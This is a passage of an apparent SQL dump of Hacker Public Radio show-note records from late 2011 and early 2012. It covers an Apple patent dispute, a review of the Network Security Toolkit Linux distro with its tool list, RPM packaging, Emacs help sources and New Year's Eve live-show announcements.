“Ten seconds to complete your download, three, two, one, download complete.” Oh, obviously an original idea indeed.</p>\n <p>So you say why is a countdown mechanism so essential that a court would rule that Apple would be in violation and unable to sell thier products in Europe. Well so does Apple which is why they have appealled using a Fair, Reasonable, and Non-Discriminatory (FRAND) defense. [Tony this is a link to a PDF that explains a frand defense please embed it <a href=\"https://www.ucl.ac.uk/laws/jevons/papers/colloquium_2007/jevons07_glader.pdf\" target=\"_blank\">https://www.ucl.ac.uk/laws/jevons/papers/colloquium_2007/jevons07_glader.pdf</a>] This defenses core argument is that this feature is not an essential component to 3G mobile telephony. I and I also assume you all understand that, but the German court wasn’t going for it.</p>\n <p>So this will go on for a while in the court system with suit and counter suit. And in the end it will only delay the sale of Apple products in the EU. But another side effect is that no matter where you buy your smartphone it will cost you more because thes kinds of court battles do not come cheap. I have a suggestion to all of these patent mongers and trolls, knock it off and just compete in the market place instead of the court room.</p>\n <hr width=\"300\" />\n <p>Get top-quality open source security tools in one distro</p>\n <p>If you could have just one toolkit for network security, which one would you choose? I mean the one toolkit that had all of the functionality you needed for securing, analyzing, monitoring, and validating your network. Would it be BackTrack, Deft, or Helix? Well I have used two of those and I have found a distro that I think kicks thier ass. After you have checked out Network Security Toolkit (NST), I believe that you will choose it also.</p>\n <p>This live DVD is based on Fedora. NST was designed to bring you easy access to the best Open Source Network Security Applications. It should run on most x86/x86_64 platforms. The intent of this distrobution is to provide network security administrators with a complete set of tools. Most of the tools in INSECURE.ORGs Top 100 Security Tools are in this kit. An advanced Web User Interface (WUI) is provided for system administration, navigation, automation, geolocation and configuration for many of the network and security applications in distribution.</p>\n <p>Here are some of the tools that come with NST:</p>\n <p>Aircrack NG: A wireless sniffer and WEP/WPA-PSK key cracker<br /> Airsnort: A wireless LAN (WLAN) tool that recovers encryption keys.<br /> Amap: A next-generation scanning tool that identifies applications and services even if they are not listening on the default port by creating a bogus communication and analyzing the responses.<br /> Argus/Argus-Clients/Argus-Monitor: An audit record generation and utilization system<br /> Arp-Scan: A scanning and fingerprinting tool<br /> Arpwatch: Network monitoring tools for tracking IP addresses on a network.<br /> Awstats: Advanced Web statistics<br /> Bandwidthd: Tracks network usage and builds HTML and graphs<br /> Beecrypt: An open source cryptography library<br /> Bit-twist: A simple yet powerful libpcap-based Ethernet packet generator<br /> BlackOwlMIBBrowser: A Visual SNMP MIB browser with MIB variable graphing.<br /> Cadaver: A command-line WebDAV client<br /> CheckDNS: A Domain Name Server analysis and reporting tool<br /> Chkrootkit: A tool to locally check for signs of a rootkit<br /> ClamAV: Antivirus<br /> Conntrack-tools: Tools to manipulate netfilter connection tracking table<br /> DNScap: A DNS traffic capture utility<br /> DNSenum: The tool gathers as much information as possible about a domain.<br /> DNSmap: A network tool that performs brute force search/query of domains.<br /> DNSwalk: A DNS debugger<br /> Dsniff: Tools for network auditing and penetration testing.<br /> Etherape: A graphical network viewer modeled after etherman.<br /> Firewalk: Active reconnaissance network security tool.<br /> Foremost: Recover files by carving them from a raw disk.<br /> Freeradius: A high-performance and highly configurable free RADIUS server<br /> Fwbuilder: A firewall builder<br /> Geoclue: A modular geoinformation service<br /> GPGme: GnuPG Made Easy — a high level crypto API<br /> Greenbone-Security-Assistant: A Web-based interface to the Open Vulnerability Assessment Scanner<br /> GSD: A desktop (GUI) interface to the Open Vulnerability Assessment Scanner<br /> Honeyd: A honeypot daemon<br /> Hunt: A tool for demonstrating well-known weaknesses in the TCP/IP protocol suite.<br /> Kismet: Kismet is an 802.11 layer2 wireless network detector, sniffer, and IDS.<br /> Mbrowse: A GUI SNMP MIB browser<br /> Nagios: Nagios monitors hosts and services and yells if something breaks.<br /> NBTScan: A tool to gather NetBIOS info from Windows networks.<br /> Netmask: A utility for determining network masks.<br /> Netwag: The GUI for the network toolbox Netwox<br /> Nload: Monitor network traffic and bandwidth usage in real-time.<br /> Wireshark: A network protocol analyzer</p>\n <p>Installing NST is as simple and easy as any other major Linux distribution out there today. After downloading the DVD image burn it out to disk, then pop it in and and boot up. You can choose to either boot into console or graphical mode, recommend the graphical mode even though it is GNOME 3. If your hardware will not support GNOME 3 you can opt to fall back on Classic GNOME. After bootup you will see the default live user enter the password nst2003 and let the desktop load. Once the desktop has fully loaded you can either take it for a test drive or jump right into the install. In order to install it you have to go to Applications &gt; System Tools &gt; Install NST To Hard Drive. If you have installed any Linux distribution before you will find no surprises here. When the installation is complete, or the live version is up and running, you can start experimenting with the tools. There are hundreds of available tools here to help you monitor, secure, analyze, and do practicly anything else on your network.</p>\n <hr width=\"300\" />\n <p><a href=\"https://arstechnica.com/tech-policy/news/2011/12/carrier-iq-hit-with-privacy-lawsuits-as-more-security-researchers-weigh-in.ars\" target=\"_blank\">Carrier IQ hit with privacy lawsuits as more security researchers weigh in</a></p>\n <blockquote>\n  <p>Carrier IQ [...] has been hit with two class-action lawsuits from users worried about how the company’s software tracks their smartphone activity. Carrier IQ, of course, professes its innocence. But the company has also received some public support from security researchers who say Carrier IQ’s software is only tracking diagnostic information and likely is not violating user privacy.</p>\n </blockquote>\n <hr width=\"300\" />\n <p><a href=\"https://lxnews.org/2011/12/05/sflc-dmca-exception/\" target=\"_blank\">SFLC Asks the US Congress for a DMCA Exception</a></p>\n <blockquote>\n  <p>The Software Freedom Law Center has filed a request with the US Librarian of Congress for a DMCA exception that would allow users to freely decide what software they can install and uninstall on devices they own.</p>\n </blockquote>\n <hr width=\"300\" /><a href=\"https://lxnews.org/2011/12/05/arduino-1-0-released/\" target=\"_blank\">Arduino 1.0 Released</a><blockquote>\n  <p>A long time coming, this release brings small but important changes to clean up the Arduino environment and language – as well as adding lots of additional features. Updates to the environment include a new file extension, toolbar icons, and color scheme as well as a progress bar on compilation and upload. The language changes include modifications to the Serial class, addition of DHCP and DNS support to the Ethernet library, a new SoftwareSerial library, multi-file support in the SD library, modifications to the Wire library and UDP class, etc.</p>\n </blockquote>\n <hr width=\"300\" /><a href=\"https://lxnews.org/2011/12/05/gnome-shell-extensions-website/\" target=\"_blank\">Gnome Shell Extensions Website Launched</a><blockquote>\n  <p>The site, which is primarily provided for GNOME 3.2 users, only works in Firefox presently. Support for additional browsers is planned. Amongst the extensions already on offer are an old school ‘GNOME Applications Menu’, ‘Frippery Bottom Panel’ (which adds a window switcher panel to the bottom of the screen), and a ‘Places Status Indicator‘.</p>\n </blockquote>\n <p>Outtro Music:<br /> Time: 53:52<br /><a href=\"https://www.jamendo.com/https://www.jamendo.com/en/track/210907en/\" target=\"_blank\" title=\"https://www.jamendo.com/en/\">Jamendo.com</a><br /><a href=\"https://www.jamendo.com/en/track/210907%20\" target=\"_blank\">Dropping out of School</a> by Brad Sucks</p>',159,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2077,1),
(880,'2011-12-15','Handbook for the Criminally Insane',3695,'A discussion of \"Handbook for the Criminally Insane\" by Brian Holtz','<p>\r\nIn this episode of the HPR audio book club Broam, resno, Dann Washko, Integgroll, and pokey discuss the podiobooks.com presentation of Handbook for the Criminally Insane written and read by Brian Holtz. This episode contains spoilers, in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. This book was met with polarizingly mixed reviews. Some thought it was a light hearted horror comedy in the spirit of Bruce Campbell while others thought it was something less entertaining.\r\n</p>\r\n<p>\r\nYou can download this audiobook for free (or voluntary donation) from <a href=\"https://www.podiobooks.com/title/handbook-for-the-criminally-insane\">https://www.podiobooks.com/title/handbook-for-the-criminally-insane</a> \r\n</p>\r\n<p>\r\nDuring this show the hosts also discuss alcohol beverages. \r\nInteggroll was drinking Jepsom\'s Malort, which he says pairs very nicely with \"The Handbook\"\r\n</p>\r\n\r\n<ul>\r\n<li>resno was drinking Dogfish Head Brewery\'s Pumpkin Ale\r\n<a href=\"https://www.dogfish.com/brews-spirits/the-brews/seasonal-brews/punkin-ale.htm\">https://www.dogfish.com/brews-spirits/the-brews/seasonal-brews/punkin-ale.htm</a>\r\n</li>\r\n<li>Broam was drinking Romana Black Sambuca \r\n<a href=\"https://www.urbandictionary.com/define.php?term=romana%20sambuca\">https://www.urbandictionary.com/define.php?term=romana%20sambuca</a>\r\n</li>\r\n<li>pokey was drinking Long Trail Harvest Ale\r\n<a href=\"https://www.longtrail.com/\">https://www.longtrail.com/</a>\r\n</li>\r\n<li>Dann missed the beverage review this time, but he would have been drinking a crap American rice beer anyway.\r\n<a href=\"https://www.anheuser-busch.com/s/\">https://www.anheuser-busch.com/s/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nOur next audiobook will be Dead Hunt by Kenn Crawford. It is available at podiobooks.com The direct link is:\r\n<a href=\"https://www.podiobooks.com/title/dead-hunt\">https://www.podiobooks.com/title/dead-hunt</a>\r\n</p>\r\n<p>\r\nIf you enjoy this episode of HPR, you can find more podcasts by our hosts at:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://techmisfits.com/\">https://techmisfits.com/</a>\r\n</li>\r\n<li><a href=\"https://linuxindahouse.org/\">https://linuxindahouse.org/</a>\r\n</li>\r\n<li><a href=\"https://www.tllts.org/\">https://www.tllts.org/</a>\r\n</ul>\r\n<p>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,<br/>\r\nThe HPR_AudioBookClub\r\n</p>\r\n<p>P.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.</p>\r\n',157,53,1,'CC-BY-SA','audiobook,HPR AudioBookClub',0,2351,1),
(881,'2011-12-16','Intel Atom processor',377,'Details of this ultra-low-voltage processor','<p>In todays show JWP gives us the low down on the Intel Atom processor</p><p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/d/d4/Atom_Z520_vs_1Cent.JPG\" width=400 alt=\"Atom Z520 vs 1 Cent\" />\r\n</p>\r\n<h3>Intel Atom</h3>\r\n<p>\r\n<em>From Wikipedia, the free encyclopedia</em><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Intel_Atom\">https://en.wikipedia.org/wiki/Intel_Atom</a>\r\n</p>\r\n<p>\r\nIntel Atom is the brand name for a line of ultra-low-voltage IA-32 and x86-64 CPUs (or microprocessors) from Intel, designed in 45 nm CMOS and used mainly in netbooks, nettops, embedded application ranging from health care to advanced robotics and Mobile Internet devices (MIDs). On December 21, 2009, Intel announced the next generation of Atom processors, including the N450, with total kit power consumption down 20%. Intel Atom processors are based on the Bonnell microarchitecture.\r\n</p>\r\n',129,0,1,'CC-BY-SA','Intel,Intel Atom',0,2170,1),
(882,'2011-12-19','RPM format',2311,'The RPM package format','<p>Klaatu continues his three-part series on packaging applications for GNU Linux and BSD.  In this second episode, he covers the RPM format and howto use rpmbuild to create both binary and source RPM packages.  He uses SigFLUP\'s yesplz as an example again, so be sure to grab the source if you\'ll be following along.</p>\r\n\r\n<p class=\"links\"><a href=\"https://docs.fedoraproject.org/en-US/Fedora_Draft_Documentation/0.1/html/RPM_Guide/ch-creating-rpms.html\">Fedora Project RPM HOWTO</a></p>\r\n\r\n<p class=\"links\"><a href=\"https://www.rpm.org/max-rpm/\">Maximum RPM</a> at rpm.org</p>\r\n\r\n<p class=\"links\"><a href=\"https://thebadapples.info/linuxreality/yesplz.spec\" target=\"_blank\">yesplz.spec</a></p>\r\n\r\n<p>Get this episode in <a href=\"https://thebadapples.info/audiophile/hpr_pkg_rpmbuild.ogg\" target=\"_blank\">ogg vorbis</a> courtesy the GNU World Order.</p>',78,63,0,'CC-BY-SA','package management,RPM,rpmbuild',0,2357,1),
(883,'2011-12-20','Dan Lynch interview',1606,'An interview from OggCamp 2011','<p>\r\nToday we give you another of the interviews from OggCamp where we interview Dan Lynch. Here\'s his bio from his own site <a href=\"https://danlynch.org/\">https://danlynch.org/</a>\r\n\r\n</p>\r\n<h2>Dan Lynch</h2>\r\n<p><img align=\"left\" vspace=\"2\" hspace=\"4\" alt=\"My cartoon image\" style=\"width: 158px; height: 158px;\" src=\"https://danlynch.org//sites/default/files/dan_0_0.jpg\" />Hello and welcome, I\'m Dan. A writer, <a href=\"https://danlynch.org/music\">musician</a>, developer, <a href=\"https://danlynch.org/podcasts\">broadcaster</a> and hopeless geek from <a target=\"_blank\" href=\"https://en.wikipedia.org/wiki/Liverpool\">Liverpool</a> in the UK. This site is the hub of everything I do online, or at least it\'s supposed to be but it still needs work. I\'m committed to <a target=\"_blank\" href=\"https://www.gnu.org/licenses/gpl.html\">Free &amp; Open Source Software</a> and <a target=\"_blank\" href=\"https://creativecommons.org/\">Creative Commons</a>, I write and broadcast about both, mainly through the <a target=\"_blank\" href=\"https://linuxoutlaws.com\">Linux Outlaws</a> and <a target=\"_blank\" href=\"https://ratholeradio.org\">Rathole Radio</a> podcasts. You may also know me as a host of <a target=\"_blank\" href=\"https://twit.tv/floss\">FLOSS Weekly</a> on the <a target=\"_blank\" href=\"https://twit.tv\">TWIT Network</a>.</p>\r\n<p><a target=\"_blank\" href=\"https://ratholeradio.org\">Rathole Radio</a> is my music show where I play a wide selection of the best music on the net. I interview artists, tell silly stories, have live votes and even play songs myself. The music is very eclectic because I believe that all styles have good and bad within them. I want people to open their minds and not pigeon-hole everything. I only play one \"style\" of music, stuff I like.</p>\r\n<p><a target=\"_blank\" href=\"https://linuxoutlaws.com\">Linux Outlaws</a> is a weekly show where I discuss the latest happenings in the Open Source technology world and with my German co-host and friend <a target=\"_blank\" href=\"https://lamerk.org\">Fab</a>. It\'s grown beyond anything we could have imagined. We get tens of thousands of downloads per show, it\'s taken me to different parts of the world and allowed me to meet and share time with many of my technology heroes. I\'m very lucky. Below you will see the latest content from my blog and both these podcasts. You can also use the links on the menu to find more specialised information about my music and other things.</p>\r\n<p>I sing and play guitar in a band called <a target=\"_blank\" href=\"https://20lb.net\"><strong>20lb Sounds</strong></a>. We recently launched our website with <a target=\"_blank\" href=\"https://20lb.net/music\"><strong>free music downloads</strong></a> and we hope to build up a community there. I\'m calling it the 20lb Army, so sign up and join the fun :)</p>\r\n<p><img align=\"right\" width=\"180\" vspace=\"2\" hspace=\"4\" height=\"180\" alt=\"\" src=\"https://danlynch.org/sites/default/files/large_black-e.jpg\" />I organised a large Free Software and Free Culture event in Liverpool called <a target=\"_blank\" href=\"https://oggcamp.org\"><strong>OggCamp10</strong></a>. Strange name I know but the site explains all that. It took place on <strong>1st and 2nd of May 2010</strong>, we were joined by many great FOSS fans and developers from around the world. Not only that but on <strong>Friday April 30th</strong> <strong>2010</strong> I also ran a successful Rathole Radio gig with <a target=\"_blank\" href=\"https://davidrovics.com\">David Rovics</a> and <a target=\"_blank\" href=\"https://attilathestockbroker.com\">Attila The Stockbroker</a> to kick the weekend off.</p>\r\n<p>I support the <a target=\"_blank\" href=\"https://www.openrightsgroup.org/\">Open Rights Group</a> and I\'m very concerned about digital rights and political matters in the UK. I\'m a proud member of both <a target=\"_blank\" href=\"https://livlug.org.uk\">Liverpool LUG</a> and <a target=\"_blank\" href=\"https://www.chesterlug.org.uk/\">Chester LUG</a> and regularly attend meetings at both. Is this two timing or just a real commitment to FOSS? I\'ll let you decide ;)</p>\r\n<p>Thanks for visiting. Feel free to hang around a while and put your feet up.</p>\r\n',30,62,1,'CC-BY-SA','OggCamp,interview',0,2141,1),
(884,'2011-12-21','Cross Platform Streaming',2566,'A visit to the Knightwise podcast: the Knightcast','<h2>Welcome to syndicated Thursday on Hacker Public Radio</h2>\r\n<p>\r\nEach Thursday we play Syndicated creative commons content from around the web. If you know of some creative commons material that you would like to bring to the attention of the community then send an email to admin. Today we are featuring the <a href=\"https://www.knightwise.com/knightcast-podcast/889-the-knightcast-kc0057-cross-platform-streaming\">https://www.knightwise.com/knightcast-podcast/889-the-knightcast-kc0057-cross-platform-streaming</a>\r\n</p>\r\n<p>\r\n<img align=\"left\" vspace=\"2\" hspace=\"4\" alt=\"Logo\" style=\"width: 158px; height: 158px;\" src=\"https://www.knightwise.com/images/stories/knightcastpodcastlogo.jpg\"  /><em>\r\nThe knightcast is an on - line  radio show (or POD-cast) that can be downloaded for free via itunes or any other podcast-client. You can also listen on the website.for YOU and not the other way around. We talk about technology , tips andIt deals with the every day adventures of a modern day cyber-citizen. In the Knightcast we talk about life and technology.. and most importantly how to use that technology to your fullest advantage. Integrating high tech into your life in such a way that technology WORKS tricks .. and how to use it. For example : How to turn your USB-stick into a mobile office .. How to use your laptop to get on line everywhere... How to use the internet to your fullest advantage and so on.</em>\r\n</p>\r\n<h3>Cross Platform Streaming</h3>\r\n<p>\r\nThis week we deep dive into the art of streaming all of your media across your home network using multiple operating systems. We take a look at DLNA servers and clients, Amahi Linux configurations and Virtual Lion servers to stream and sync all of our content to all of our devices , no matter what OS they are on.\r\n</p>',111,54,1,'CC-BY-SA','streaming media,DLNA,Amahi',0,2129,1),
(885,'2011-12-22','Redo Backup and Recovery 1.0.1.',328,'A free, open source, backup and recovery tool','<p>\r\nThis is a short podcast on Redo Backup and Recovery 1.0.1.\r\n<a href=\"https://www.redobackup.org\">www.redobackup.org</a>\r\n</p>\r\n\r\n<h2>Easy Backup, Recovery &amp; Bare Metal Restore</h2>\r\n<p>\r\n<img src=\"https://redobackup.org/media/intro.jpg\" alt=\"How it works\" width=\"500\"/>\r\n</p>\r\n<p><strong>Redo Backup and Recovery</strong> is so simple that anyone can use it. It is the easiest, most complete disaster recovery solution available. It allows <a href=\"https://en.wikipedia.org/wiki/Bare_metal_restore\" target=\"_blank\" rel=\"nofollow\">bare-metal restore</a>. <strong>Bare metal restore</strong> means that even if your hard drive melts or gets completely erased by a virus, you can have a completely-functional system back up and running in as little as 10 minutes.</p>\r\n\r\n<p>All your documents and settings will be restored to the exact same state they were in when the last snapshot was taken. <strong>Redo Backup and Recovery</strong> is a live CD, so it does not matter if you use Windows or Linux. You can use the same tool to backup and restore every machine. And because it is open source released under the GPL, it is <strong>completely free</strong> for personal and commercial use.</p>\r\n\r\n<h2 style=\"clear: left;\">More Features, Less Complex</h2>\r\n<p>Redo Backup has the most features coupled with the simplest, most user-friendly interface:</p>\r\n<ul>\r\n    <li>Easy <strong>graphical user interface</strong> boots from CD in less than a minute</li>\r\n    <li><strong>No installation needed</strong>; runs from a CD-ROM or a USB stick</li>\r\n    <li>Saves and restores <strong>Windows and Linux</strong> machines</li>\r\n    <li>Automatically finds <strong>local network shares</strong></li>\r\n    <li>Access your files <strong>even if you can\'t log in</strong></li>\r\n    <li><strong>Recover deleted pictures,</strong> documents, and other files</li>\r\n    <li><strong>Internet access with a full-featured browser</strong> to download drivers</li>\r\n    <li>Live CD download size is <strong>only about 200MB</strong></li>\r\n</ul>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.redobackup.org/\">https://www.redobackup.org/</a>\r\n</li>\r\n<li><a href=\"https://sourceforge.net/projects/redobackup/\">https://sourceforge.net/projects/redobackup/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Redo_Backup_and_Recovery\">https://en.wikipedia.org/wiki/Redo_Backup_and_Recovery</a>\r\n</li>\r\n<li><a href=\"https://freecode.com/projects/redo-backup-and-recovery\">https://freecode.com/projects/redo-backup-and-recovery</a>\r\n</li>\r\n<li><a href=\"https://www.addictivetips.com/windows-tips/redo-backup-recovery-live-cd-that-recovers-your-hard-drive/\">https://www.addictivetips.com/windows-tips/redo-backup-recovery-live-cd-that-recovers-your-hard-drive/</a>\r\n</li>\r\n<li><a href=\"https://itmanagement.earthweb.com/osrc/article.php/3909906/50-Awesome-Open-Source-Apps-Youve-Probably-Never-Heard-Of.htm\">https://itmanagement.earthweb.com/osrc/article.php/3909906/50-Awesome-Open-Source-Apps-Youve-Probably-Never-Heard-Of.htm</a>\r\n</li>\r\n<li><a href=\"https://oakdome.com/k5/tutorials/clone-with-usb-drive/clone-with-usb-drive.php\">https://oakdome.com/k5/tutorials/clone-with-usb-drive/clone-with-usb-drive.php</a>\r\n</li>\r\n</ul>\r\n',135,0,1,'CC-BY-SA','backup,restore,recovery',0,2198,1),
(886,'2011-12-26','Product lifecycle management (PLM)',461,'An discussion with Alister Munroe from OggCamp 2011','<p>\r\nIn today\'s show Ken has a discussion with Alister Munroe about product lifecycle management at OggCamp 11</p>\r\n\r\n<h2>Product lifecycle management</h2>\r\n<p><em>From Wikipedia, the free encyclopedia</em></p>\r\n<h3>A generic lifecycle of products</h3>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/d/d7/Product%E2%80%99s_lifecycle.jpg\" vspace=\"2\" hspace=\"4\" alt=\"PLM\" style=\"width: 158px; height: 158px;\"/>\r\nIn industry, product lifecycle management (PLM) is the process of managing the entire lifecycle of a product from its conception, through design and manufacture, to service and disposal. PLM integrates people, data, processes and business systems and provides a product information backbone for companies and their extended enterprise.\r\n</p>\r\n<p>\r\nProduct lifecycle management (PLM) should be distinguished from \'Product life cycle management (marketing)\' (PLCM). PLM describes the engineering aspect of a product, from managing descriptions and properties of a product through its development and useful life; whereas, PLCM refers to the commercial management of life of a product in the business market with respect to costs and sales measures.\r\n</p>\r\n<p>\r\nProduct lifecycle management is one of the four cornerstones of a corporation\'s information technology structure. All companies need to manage communications and information with their customers (CRM-customer relationship management), their suppliers (SCM-supply chain management), their resources within the enterprise (ERP-enterprise resource planning) and their planning (SDLC-systems development life cycle). In addition, manufacturing engineering companies must also develop, describe, manage and communicate information about their products.\r\n</p>\r\n<p>\r\nOne form of PLM is called people-centric PLM. While traditional PLM tools have been deployed only on release or during the release phase, people-centric PLM targets the design phase.\r\nAs of 2009, ICT development (EU-funded PROMISE project 2004–2008) has allowed PLM to extend beyond traditional PLM and integrate sensor data and real time \'lifecycle event data\' into PLM, as well as allowing this information to be made available to different players in the total lifecycle of an individual product (closing the information loop). This has resulted in the extension of PLM into closed-loop lifecycle management (CL2M).</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.3ds.com/products/delmia/welcome/\">https://www.3ds.com/products/delmia/welcome/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Product_lifecycle_management\">https://en.wikipedia.org/wiki/Product_lifecycle_management</a>\r\n</li>\r\n</ul>\r\n',30,62,1,'CC-BY-SA','product lifecycle management,PLM',0,2076,1),
(887,'2011-12-27','init()',1675,'NYbill and Windigo and their Linux stories','<p>Gun-toting chimp <a href=\"https://identi.ca/nybill\">NYbill</a> and\r\ncat-riding neer-do-well <a href=\"https://micro.fragdev.com/windigo\">Windigo</a>\r\ndetail their first steps into Linux, from humble beginnings to current day.\r\n</p>\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://identi.ca/nybill\">https://identi.ca/nybill</a>\r\n</li>\r\n<li><a href=\"https://micro.fragdev.com/windigo\">https://micro.fragdev.com/windigo</a>\r\n</li>\r\n</ul>\r\n',196,0,1,'CC-BY-SA','Yggdrasil',0,2714,1),
(888,'2011-12-28','EMACS Help Sources',243,'Where to get help on using EMACS','<p>\r\nIn today\'s show we get proof that Klaatu lured another over to the dark side. So much so that JWP has gathered some resources for you on where you can get help on EMACS they are all on his site at <a href=\"https://jwp1.weeman.org/\">https://jwp1.weeman.org/</a></p>\r\n\r\n<p>\r\n<object style=\"height: 390px; width: 640px\"><param name=\"movie\" value=\"https://www.youtube.com/v/PldhTEu1VRo?version=3&feature=player_detailpage\"><param name=\"allowFullScreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"><embed src=\"https://www.youtube.com/v/PldhTEu1VRo?version=3&feature=player_detailpage\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" allowScriptAccess=\"always\" width=\"640\" height=\"360\"></object>\r\n</p>\r\n\r\n<h3>links</h3>\r\n<ul>\r\n<li><a href=\"https://www.rgrjr.com/emacs/emacs_cheat.html\">https://www.rgrjr.com/emacs/emacs_cheat.html</a>\r\n</li>\r\n<li><a href=\"https://ccrma.stanford.edu/guides/package/emacs/emacs.html\">https://ccrma.stanford.edu/guides/package/emacs/emacs.html</a>\r\n</li>\r\n<li><a href=\"https://abdallah.hiof.no/dmpro/intro-2008/emacs-cheat-sheet.pdf\">https://abdallah.hiof.no/dmpro/intro-2008/emacs-cheat-sheet.pdf</a>\r\n</li>\r\n<li><a href=\"https://www.youtube.com/watch?v=PldhTEu1VRo\">https://www.youtube.com/watch?v=PldhTEu1VRo</a>\r\n</li>\r\n<li><a href=\"https://xahlee.org/emacs/emacs.html\">https://xahlee.org/emacs/emacs.html</a>\r\n</li>\r\n<li><a href=\"https://cmgm.stanford.edu/classes/unix/emacs.html\">https://cmgm.stanford.edu/classes/unix/emacs.html</a>\r\n</li>\r\n<li><a href=\"https://www.astrohandbook.com/ch20/emacs.pdf\">https://www.astrohandbook.com/ch20/emacs.pdf</a>\r\n</li>\r\n</ul>\r\n',129,0,1,'CC-BY-SA','EMACS',0,2103,1),
(889,'2011-12-29','2011-2012 New Year\'s Eve Show Announcement',246,'Preparing for the upcoming New Year\'s Eve show','<p>\r\nThe Hacker Public Radio LIVE New Year\'s Eve event will be streamed live from noon to midnight EST This Saturday December 31st. That\'s UTC 2011, Dec 31, 1700 hours to 2012, Jan 01, 0500 hours.\r\nAll HPR contributors and listeners are welcome to call in via mumble and discuss their favorite HPR shows and topics of 2011, or bring a topic that you think would help us to have a good show. We\'ll be taking calls up to the limit of the server. We\'ll be streaming the whole thing, as well as distilling it down to one or more podcasts for the rss feed.\r\n</p>\r\n<p>\r\nWhether you\'ve contributed to HPR or not, please consider calling in and helping us to make this a great HPR community event.\r\n</p>\r\n<p>\r\nMumble server: 174.123.227.204 Port: 43556 Password: OSMPMumble\r\n</p>\r\n<p>\r\nFor callers, there will be a seperate room to test your setup before jumping in the live room just to avoid doing on air mic checks. Please check your sound there before jumping into the main room. Please set compression to the 31.8Kb/s speex codec for compatibility (NOT the CELT codec), and use push to talk.\r\nStream Address: Mirrors to be announced. We have at least one high bandwidth offer so far. \r\n</p>\r\n<p>\r\nThank you for listening.\r\n</p>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2094,1),
(890,'2011-12-30','Where\'s my flying car !',1303,'What happened to the promise of science and technology?','<p>In today\'s show Mr Gadgets asks the questions that needs to be answered. \r\n</p>\r\n<p>\r\nHe reminds us that a New Year is about to begin and a easy new year resolution to achieve is <strong>contributing to HPR</strong>\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>',155,0,1,'CC-BY-SA','home automation',0,2114,1),
(891,'2012-01-02','2011-2012 Hacker Public Radio New Year\'s Eve Part 1/8',6779,'HPR New Year 2012 #1','<h2>Hacker Public Radio New Year\'s Eve Part 1</h2>\r\n<p>\r\nThis is the first part of the Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and properly.<br />\r\n<strong>-pokey</strong>\r\n</p>\r\n\r\n<p>\r\nPipeMan recommends the Behringer U-CONTROL UCA202 has 2 in 2 out rca ports for $40 or so. <br />\r\n<img src=\"https://www.behringer.com/assets/UCA202_P0484_Reflective_web.jpg\" width=\"300\" alt=\"Behringer U-CONTROL UCA202\" /><br />\r\n<a href=\"https://www.behringer.com/EN/Products/UCA202.aspx\">https://www.behringer.com/EN/Products/UCA202.aspx</a><br />\r\nFor a mixer he recommends the Behringer XENYX 802 going for $38 on amazon<br />\r\n<img src=\"https://www.behringer.com/assets/802_P0575_Reflective_web.png\" width=\"300\" alt=\"Behringer XENYX 802\" /><br />\r\n<a href=\"https://www.behringer.com/EN/Products/802.aspx\">https://www.behringer.com/EN/Products/802.aspx</a>\r\n</p>\r\n',159,121,1,'CC-BY-SA','New Year,2012',0,2426,1),
(892,'2012-01-03','2011-2012 Hacker Public Radio New Year\'s Eve Part 2/8 (A Bit About Fedora)',4773,'HPR New Year 2012 #2','<h2>Hacker Public Radio New Year\'s Eve Part 2 (A Bit About Fedora)</h2>\r\n<p>\r\nThis is the second part of the Hacker Public Radio New Year\'s Eve event and you can expect more of them all week long.\r\n</p>\r\n\r\n<h2>Thanks to:</h2>\r\n\r\n<ul>\r\n<li>PipeManMusic of the Open Source Musician\'s Podcast for the Murmur server, and audio streaming</li>\r\n<li>Tracy Holtz for stream mirror</li>\r\n<li>Dann Washko of The Linux Link Tech Show for stream mirror</li>\r\n<li>cobra2 for stream mirror</li>\r\n<li>John Neusteter for stream mirror</li>\r\n<li>KevinW for creating the Mumble How-To, and for manning the testing room during most of the show.</li>\r\n<li>Ken Fallon for being Ken Fallon</li>\r\n<li>The Hacker Public Radio Community for coming together and pulling this off, and for making it so much fun for everone. </li>\r\n</ul>\r\n\r\n<p>\r\nI was so wrapped up in the actual show, that it didn\'t occur to me to take notes and write down the names of all the people who helped us out. The few I listed above are all that I can remember 24 hours later. If you helped out in any way, and would like to be mentioned in the show notes of the remaining parts of this show (there will be a few of them) please email hpr (at) hackerpublicradio (dot) org with your name and I\'ll be glad to thank you publicly and 